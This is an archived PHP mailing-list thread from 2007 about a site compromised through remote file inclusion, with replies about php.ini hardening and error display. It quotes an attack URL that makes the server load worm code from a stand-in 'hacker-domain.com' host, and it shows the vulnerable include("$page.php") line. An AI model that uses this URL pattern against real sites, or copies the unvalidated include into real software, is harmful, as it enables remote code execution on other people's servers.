Re: Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Thu, March 15, 2007 9:15 am, Seak, Teng-Fong wrote:
> Stut wrote:
>> Seak, Teng-Fong wrote:
>>>     But after I've spent some time reading the log files, I've
>>> finally
>>> found out how the hackers managed to achieve worm infiltration.
>>>
>>>     Actually, they're using an URL like this:
>>> http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt?
>>>
>>>
>>>     And the some-worm-file.txt file contains some PHP code, while
>>> my
>>> index.php contains this instruction:
>>> include("$page.php");

DON'T DO THAT!!!

It is incredibly open to the problem that has bit you.

There is a setting in php.ini to turn it OFF, actually.

>>>     This is enough to make infiltration possible!  IMO, this
>>> instruction
>>> is supposed to be used like this, isn't it?  So this is obviously a
>>> PHP
>>> security loophole and I don't see how the "poorly written scripts"
>>> can
>>> help anything unless a totally rewrite!  And there's no "poor
>>> server
>>> security" that I can see.

No, it is *NOT* supposed to be used like that.

The programmer is supposed to have half a clue, and not do something
that incredibly stupid, which has been documented in a thousand
places.

Start reading here:
http://phpsec.org/

>> You mean to say that you're not validating what you're getting from
>> the user? Frankly you deserve everything you get.
>     No, I don't deserve anything because, as I've written in the
> original post (but I suppose you didn't notice), the website is
> outsourced and made by a 3rd company.  I had already spent a lot of
> time
> to learn and understand PHP, which normally isn't a part of my job.
> So,
> I had already done more than I should.

Perhaps you can get some satisfaction by suing that 3rd party, on the
basis of incompetence.

Or not, if you are the one who did the include("$page.php");

>> This is *not* a "security loophole", it *is* a poorly written
>> script.
>     Well, when something doesn't produce the expected effect/result,
> or
> produce a side-effect, it's considered as a bug.  If that's not a bug,
> why would the behaviour be changed from PHP4 to PHP5 then?
>>>     I've installed PHP5 and the problem seems fixed.  However, PHP
>>> writes out where the problem occurs!  Indeed, the hacker could read
>>> a
>>> line like this:
>>> Warning: include() [function.include]: URL file-access is disabled
>>> in
>>> the server configuration in
>>> C:\Inetpub\wwwroot\index.php on line X

That is a configuration option in php.ini

It is not a core change to the PHP from 4 to 5.

In fact, I think it was available in PHP 4 as well, or at least later
versions of PHP 4.

>>>     I don't want them (the hackers) to be able to read this either.
>>> That gives too much information about my server's file system.  How
>>> can
>>> I stop that?

In your php.ini
display_errors off

You may also want to turn the logging of errors ON so you can find
your mistakes.

While you're at it, crank up the error_reporting to E_ALL please.

Thanks.

>> Read the manual, specifically the error_reporting part. You can turn
>> the display of these messages off.
>     I had.  Well, I had tried to do so, spending time out of my
> tightly
> scheduled job planning.

Guess you didn't schedule very well, then...

-- 
Some people have a "gift" link here.
Know what I want?
I want you to buy a CD from some starving artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux